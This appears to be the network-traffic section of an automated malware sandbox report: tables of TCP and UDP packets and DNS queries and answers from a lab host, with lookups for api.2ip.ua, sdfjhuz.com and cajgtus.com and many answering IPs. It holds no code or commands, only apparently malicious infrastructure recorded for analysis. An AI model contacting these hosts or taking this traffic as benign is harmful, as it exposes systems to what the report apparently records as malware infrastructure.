Apr 24, 2024 18:52:18.788243055 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.788271904 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.788285971 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.794085026 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.794141054 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.794188976 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.794204950 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.794241905 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.794256926 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.796741962 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.796787977 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.796827078 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.796843052 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.796869040 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.796888113 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.804790020 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.804836035 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.804872990 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.804893970 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.804919958 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.804936886 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.811285019 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.811347961 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.811362028 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.811381102 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.811425924 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.811425924 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.818145037 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.818192959 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.818223953 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.818238974 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.818263054 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.818281889 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.826148987 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.826193094 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.826231956 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.826252937 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.826280117 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.826316118 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.831304073 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.831346035 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.831404924 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.831404924 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.831418991 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.831465006 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.834537983 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.834579945 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.834611893 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.834625959 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.834649086 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.834669113 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.836827040 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.836873055 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.836901903 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.836919069 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.836956978 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.836975098 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.837649107 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.837690115 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.837707996 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.837723970 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.837753057 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.837778091 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.839040995 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.839082003 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.839122057 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.839132071 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.839179993 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.839180946 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.846105099 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.846151114 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.846184015 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.846200943 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.846227884 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.846251011 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.847368956 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.847412109 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.847441912 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.847460032 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.847486973 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.847502947 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.848419905 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.848465919 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.848500967 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.848521948 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.848539114 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.848562956 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.848582983 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.849555969 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.849596024 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.849620104 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.849637032 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.849668980 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.849688053 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.850539923 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.850588083 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.850605965 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.850621939 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.850647926 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.850667000 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.852644920 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.852689981 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.852736950 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.852755070 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.852778912 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.852801085 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.856672049 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.856772900 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.856818914 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.856837034 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.856859922 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.856878996 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.859970093 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.860008001 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.860042095 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.860057116 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.860086918 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.860122919 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.863188982 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.863230944 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.863617897 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.863632917 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.863687038 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.866394043 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.866434097 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.866466999 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.866480112 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.866508007 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.866528034 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.870312929 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.870354891 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.870451927 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.870452881 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.870467901 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.870524883 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.886651039 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.886693001 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.886727095 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.886744022 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.886768103 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.886792898 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.897686005 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.897727966 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.897766113 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.897780895 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.897808075 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.897825956 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.907629013 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.907674074 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.907706022 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.907720089 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.907748938 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.907767057 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.917299032 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.917340040 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.917375088 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.917392015 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.917418003 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.917434931 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.924546957 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.924590111 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.924626112 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.924640894 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.924669981 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.924690008 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.929435015 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.929480076 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.929553986 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.929584026 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.929616928 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.929774046 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.262399912 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.262448072 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.262485027 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.262528896 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.262563944 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.262644053 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.265098095 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.265142918 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.265171051 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.265207052 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.265237093 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.265256882 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.588238955 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.588298082 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.588332891 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.588376999 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.588403940 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.589612961 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.589689970 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.589732885 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.589777946 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.589793921 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.589827061 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.589845896 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.590392113 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.590437889 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.590473890 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.590485096 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.590508938 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.590526104 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.591074944 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.591116905 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.591147900 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.591159105 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.591185093 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.591217041 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.591274977 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.591304064 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.591351032 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.591370106 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.591506958 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.591564894 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.591597080 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.703172922 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.703205109 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:19.703576088 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.703782082 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:19.703794956 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:20.361098051 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:20.362365961 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:20.363066912 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:20.363074064 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:20.364856958 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:20.364861965 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:20.364917040 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:20.364924908 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:20.861943960 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:20.862023115 CEST	443	49752	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:20.862103939 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:20.862334013 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:20.862368107 CEST	443	49752	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:21.363282919 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:21.363360882 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:21.363380909 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:21.363428116 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:21.363450050 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:21.363508940 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:21.364152908 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:21.364164114 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:21.531749964 CEST	443	49752	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:21.532572031 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:21.950603008 CEST	49752	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:34.833017111 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:34.833055973 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:34.833174944 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:34.855885029 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:34.855901003 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:35.188482046 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:35.188622952 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:35.198508024 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:35.198520899 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:35.198832035 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:35.198928118 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:35.200472116 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:35.248148918 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:35.976717949 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:35.976941109 CEST	443	49753	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:35.977067947 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:35.977499962 CEST	49753	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:35.977519035 CEST	443	49753	172.67.139.220	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 18:51:51.913959026 CEST	60351	53	192.168.2.4	1.1.1.1
Apr 24, 2024 18:51:52.082540989 CEST	53	60351	1.1.1.1	192.168.2.4
Apr 24, 2024 18:51:55.850199938 CEST	61819	53	192.168.2.4	1.1.1.1
Apr 24, 2024 18:51:55.850951910 CEST	65487	53	192.168.2.4	1.1.1.1
Apr 24, 2024 18:51:56.848028898 CEST	65487	53	192.168.2.4	1.1.1.1
Apr 24, 2024 18:51:56.848082066 CEST	61819	53	192.168.2.4	1.1.1.1
Apr 24, 2024 18:51:57.848297119 CEST	65487	53	192.168.2.4	1.1.1.1
Apr 24, 2024 18:51:57.848297119 CEST	61819	53	192.168.2.4	1.1.1.1
Apr 24, 2024 18:51:59.854439020 CEST	53	61819	1.1.1.1	192.168.2.4
Apr 24, 2024 18:51:59.854485989 CEST	53	61819	1.1.1.1	192.168.2.4
Apr 24, 2024 18:51:59.854545116 CEST	53	61819	1.1.1.1	192.168.2.4
Apr 24, 2024 18:51:59.863601923 CEST	65487	53	192.168.2.4	1.1.1.1
Apr 24, 2024 18:51:59.939496040 CEST	53	65487	1.1.1.1	192.168.2.4
Apr 24, 2024 18:51:59.939546108 CEST	53	65487	1.1.1.1	192.168.2.4
Apr 24, 2024 18:51:59.939652920 CEST	53	65487	1.1.1.1	192.168.2.4
Apr 24, 2024 18:52:00.017350912 CEST	53	65487	1.1.1.1	192.168.2.4
Apr 24, 2024 18:52:02.880369902 CEST	54271	53	192.168.2.4	1.1.1.1
Apr 24, 2024 18:52:03.036015034 CEST	53	54271	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 18:51:51.913959026 CEST	192.168.2.4	1.1.1.1	0xcaf8	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:55.850199938 CEST	192.168.2.4	1.1.1.1	0xd61d	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:55.850951910 CEST	192.168.2.4	1.1.1.1	0xdb2	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:56.848028898 CEST	192.168.2.4	1.1.1.1	0xdb2	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:56.848082066 CEST	192.168.2.4	1.1.1.1	0xd61d	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:57.848297119 CEST	192.168.2.4	1.1.1.1	0xdb2	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:57.848297119 CEST	192.168.2.4	1.1.1.1	0xd61d	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.863601923 CEST	192.168.2.4	1.1.1.1	0xdb2	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:02.880369902 CEST	192.168.2.4	1.1.1.1	0xc5e0	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 18:51:52.082540989 CEST	1.1.1.1	192.168.2.4	0xcaf8	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:52.082540989 CEST	1.1.1.1	192.168.2.4	0xcaf8	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	189.143.202.242	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	81.183.132.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	187.228.55.117	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	211.40.39.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	179.27.75.59	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	190.146.112.188	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854439020 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	189.143.202.242	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	81.183.132.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	187.228.55.117	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	211.40.39.251	A (IP address)	IN (0x0001)	false
